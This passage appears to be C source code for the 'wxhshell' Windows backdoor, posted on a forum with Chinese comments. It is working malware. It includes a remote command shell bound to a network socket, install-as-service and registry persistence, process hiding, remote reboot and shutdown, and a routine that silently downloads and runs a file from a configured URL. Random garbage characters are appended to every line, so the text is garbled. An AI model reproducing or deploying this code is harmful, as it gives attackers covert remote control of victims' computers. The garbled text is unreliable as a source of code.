  else { `kFiH*5%z  
r_^)1w  
    switch(cmd[0]) { "Kq>#I'%W  
  FI$XSG  
  // 帮助 g rspt}  
  case '?': { t{zBC?c R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *jE;9^  
    break; h48YDWwy  
  } h,t:]  
  // 安装 P3!Atnv2  
  case 'i': { z6I%wh  
    if(Install()) d*2u}1Jo8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NO2(vE  
    else Vc _:*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W qE '(  
    break; b!^@PIX  
    } |NJ}F@t/5  
  // 卸载 vQgq]mA?  
  case 'r': { w^Ag]HZN  
    if(Uninstall()) 6Hk="$6K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~>g+2]Bn>$  
    else -9d%+O~v6~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s7l23*Czl  
    break; +Ofa#^5);K  
    } <bP#H  
  // 显示 wxhshell 所在路径 cI:-Z{M7z  
  case 'p': {  m*dNrG  
    char svExeFile[MAX_PATH]; oxzq!U  
    strcpy(svExeFile,"\n\r"); /P:EWUf'  
      strcat(svExeFile,ExeFile); 2)9r'ai?a  
        send(wsh,svExeFile,strlen(svExeFile),0); oQ\&}@(V  
    break; G>K@AW #  
    } 0e16Ow6\!1  
  // 重启 8vSIf+  
  case 'b': { [EOVw%R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @PX\{6&  
    if(Boot(REBOOT)) 2"X~ju  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); id?E)Jy  
    else { 2.nE k  
    closesocket(wsh); <*wM=aq  
    ExitThread(0); 8{ gXToK  
    } psUE!~9,  
    break; nZ E)_  
    } %j5ywr:  
  // 关机  to>  
  case 'd': { -ihiG_f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .T8K-<R  
    if(Boot(SHUTDOWN)) N=~~EtX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2+Yb 7 uI,  
    else { e<"/'Ql!k  
    closesocket(wsh); )%F5t&lum  
    ExitThread(0); 2w?hgNz  
    } + >nr.,qo3  
    break; Q4Q pn  
    } Ur3m[07H  
  // 获取shell WbcS: !0  
  case 's': { n_23EcSy  
    CmdShell(wsh); 8:dQ._#v  
    closesocket(wsh); 5FOqv=6S  
    ExitThread(0); jDX>izg;V  
    break; a <wL#Id  
  } {v,)G)obWw  
  // 退出 -c+]Wm"\  
  case 'x': { i=#F)AD^5#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !OAvD#  
    CloseIt(wsh); h/m6)m.D  
    break; +TSSi em  
    } r,;\/^u*  
  // 离开 ^B]@Lr E^  
  case 'q': { ;dZMa]X0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .<YcSG  
    closesocket(wsh); 8@eOTzm  
    WSACleanup(); v"!4JZ%K  
    exit(1); *eb-rhCVn  
    break; BC77<R!E)  
        } rQr!R$t/[  
  } Q2QY* A  
  } f~ U.a.Fb  
s&Yi 6:J  
  // 提示信息 8ObeiVXf)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v("wKHWTI@  
} r*XLV{+4  
  } N$#\Xdo  
iqPBsIW  
  return; '*T]fND4  
} #*^+F?o,(  
5-vo0:hk  
// shell模块句柄 "pvH0"Q*  
int CmdShell(SOCKET sock) #g9ZX16}  
{ OZ(dpV9.S  
STARTUPINFO si; @R q}nq=k  
ZeroMemory(&si,sizeof(si)); ]?K. S6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |"Z{I3Umg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <+tD z(  
PROCESS_INFORMATION ProcessInfo; Adx`8}N8  
char cmdline[]="cmd"; $/Ov2z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L:R<e#kgS  
  return 0; \#Up|u:  
} DL8x":;  
@S3f:s0~D  
// 自身启动模式 Yj3I5RG  
int StartFromService(void) XKU=oI0\j  
{ <<zI\+V  
typedef struct )^x K   
{ 5?u}#zO  
  DWORD ExitStatus; |yY`s6Uq  
  DWORD PebBaseAddress; NNkP\oh\  
  DWORD AffinityMask; uY#TEjGh]  
  DWORD BasePriority; ;_+uSalt  
  ULONG UniqueProcessId; qoX@@xr1  
  ULONG InheritedFromUniqueProcessId; vHKlLl>*2  
}   PROCESS_BASIC_INFORMATION; <02m%rhuW  
qJv[MBjk3B  
PROCNTQSIP NtQueryInformationProcess; r'4:)~]s  
55DE\<r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yVJ%+d:6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 57I}RMT"  
l#qv 5f  
  HANDLE             hProcess; BmBz}:xMez  
  PROCESS_BASIC_INFORMATION pbi; %X1x4t]  
QP(BZJC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (z7+|JE.  
  if(NULL == hInst ) return 0; `/IKdO*!S  
q|(W-h+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kOrl\_!z3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !0}\&<8/m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WO*9+\[v  
LKF/u` 0dP  
  if (!NtQueryInformationProcess) return 0; ^J/)6/TMXm  
zI;0&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WF2-$`x  
  if(!hProcess) return 0; 4P8*k[.  
Jjm|9|C,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K[?Xm"4  
n1v5Q2xw  
  CloseHandle(hProcess); N{Qxq>6 G  
,xsH|xW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nE W31 8  
if(hProcess==NULL) return 0; sRhKlUJG  
*_-'/i  
HMODULE hMod; j`>^1Q  
char procName[255]; !CY&{LEYn0  
unsigned long cbNeeded; [iS$JG-  
iCQ>@P]nE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7jG(<!,  
8y2+&#$  
  CloseHandle(hProcess); dK9Zg,DZL  
 kLP0{A  
if(strstr(procName,"services")) return 1; // 以服务启动 UQ?%|y*Kc  
X$n(-65  
  return 0; // 注册表启动 zu\`1W^  
} 6 ,b"  
j<yiNHC  
// 主模块 P 7D!6q  
int StartWxhshell(LPSTR lpCmdLine) )%Iv[TB[  
{ YwDt.6(+,  
  SOCKET wsl; ^QX bJJ  
BOOL val=TRUE; Dm0a.J v  
  int port=0; n6Z|Q@F  
  struct sockaddr_in door; Y3U9:VB  
Me3dpF  
  if(wscfg.ws_autoins) Install(); 2DDsWJ;  
5Rv+zQ#GR  
port=atoi(lpCmdLine); N"7]R[*  
t0E51Ic@  
if(port<=0) port=wscfg.ws_port; 0\QR!*'$  
=d`5f@'rl  
  WSADATA data; t*S." q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hGTV;eU  
*C|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^s:y/Kd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >l5$9wO  
  door.sin_family = AF_INET; O6s.<` \  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iJh!KEy~A5  
  door.sin_port = htons(port); Sm{>rR  
2t#L:vY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9J-b6,  
closesocket(wsl); %VNlXHO.  
return 1; r7m D{0s*  
} ",qU,0  
KW3+luI6  
  if(listen(wsl,2) == INVALID_SOCKET) { Li{~=S@N*  
closesocket(wsl); )7cb6jCU  
return 1; _.)eL3OF  
} )6X.Nfkb^k  
  Wxhshell(wsl); -7qIToO.  
  WSACleanup(); aoW6U{\  
<yUstz,Xu^  
return 0; v $({C  
KA s1(oG  
} \3YO<E!t  
~.g3ukt  
// 以NT服务方式启动 8MwK.H[U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ts~{w; c  
{ DvXHK  
DWORD   status = 0; #/S {6c  
  DWORD   specificError = 0xfffffff; gXFWxT8S  
7A$B{  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  vb{i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r#i?j}F}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \_6OCVil  
  serviceStatus.dwWin32ExitCode     = 0; P\2M[Gu(Q  
  serviceStatus.dwServiceSpecificExitCode = 0; #;KsJb)N.  
  serviceStatus.dwCheckPoint       = 0; $14:(<  
  serviceStatus.dwWaitHint       = 0; vG41Ck1  
~+F;q vq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /B3R1kNf|  
  if (hServiceStatusHandle==0) return; >h~IfZU1  
je,}_:7  
status = GetLastError(); = "ts`>  
  if (status!=NO_ERROR) +a@GHx 4-  
{ %|W.^q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d I'SwnR  
    serviceStatus.dwCheckPoint       = 0; JH,/jR  
    serviceStatus.dwWaitHint       = 0; sY SLmUZ{  
    serviceStatus.dwWin32ExitCode     = status; RzKb{> ;A  
    serviceStatus.dwServiceSpecificExitCode = specificError; NPnHH:\;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %:v`EjRD0  
    return; =qVP]  9  
  } ~#K@ADYr  
gk0.zz([  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tA.`k;LT  
  serviceStatus.dwCheckPoint       = 0; L71!J0@a#  
  serviceStatus.dwWaitHint       = 0; nSx8E7 |V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  (t^n'V  
} ~EiH-z4U  
n||A" @b\  
// 处理NT服务事件,比如:启动、停止 ?i\;:<e4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uYI@ 9U  
{ y^>Q/H\  
switch(fdwControl) fT\:V5-  
{ 4<,|*hAT  
case SERVICE_CONTROL_STOP: ;F:fM!l=  
  serviceStatus.dwWin32ExitCode = 0; zt24qTKL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k3!a$0Bs;  
  serviceStatus.dwCheckPoint   = 0; /a9 !Cf  
  serviceStatus.dwWaitHint     = 0; n 1b(\PA  
  { Z3KO90O!8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ='?:z2lJ  
  } C]u',9,  
  return; {^)70Vz>PE  
case SERVICE_CONTROL_PAUSE: Pn.bVV:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TA18 gq  
  break; AEirj /  
case SERVICE_CONTROL_CONTINUE: "d/s5sP|S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jR ~DToQ  
  break; !v|ISyK  
case SERVICE_CONTROL_INTERROGATE: F?+3%>/A @  
  break; {BBw$m,o  
}; RrrK*Fk8=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); unl1*4e+  
} +>^7vq-\'  
]w).8=I  
// 标准应用程序主函数 <z+:j!~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  %V G/  
{ b]Kk2S/  
F'8T;J7  
// 获取操作系统版本 >T3H qYX5W  
OsIsNt=GetOsVer(); &Nl2s ey  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M6|I6M<  
5E\#%K[  
  // 从命令行安装 +YY8h>hj  
  if(strpbrk(lpCmdLine,"iI")) Install(); zR6siAV9  
qZk'tRv  
  // 下载执行文件 @ T ;L$x  
if(wscfg.ws_downexe) { fG LG$b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @~ Dh'w2q  
  WinExec(wscfg.ws_filenam,SW_HIDE); c~,23wP1  
} eitu!=u  
b8KsR=]4I  
if(!OsIsNt) { c{#yx_)V&  
// 如果时win9x,隐藏进程并且设置为注册表启动 \0;(VLN'U  
HideProc(); *O$CaAr\s  
StartWxhshell(lpCmdLine); 8;P2A\ X  
} i%Z2wP.o  
else ;^u*hZN[Up  
  if(StartFromService()) Wl"0m1G  
  // 以服务方式启动 4Cb9%Q0  
  StartServiceCtrlDispatcher(DispatchTable); &-yGVx  
else &a)eJF]:!  
  // 普通方式启动 q0mOG^  
  StartWxhshell(lpCmdLine); l;X|=eu'  
?9MVM~$  
return 0; Ds8 EMtS  
}
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只看该作者 1 发表于: 2006-10-10
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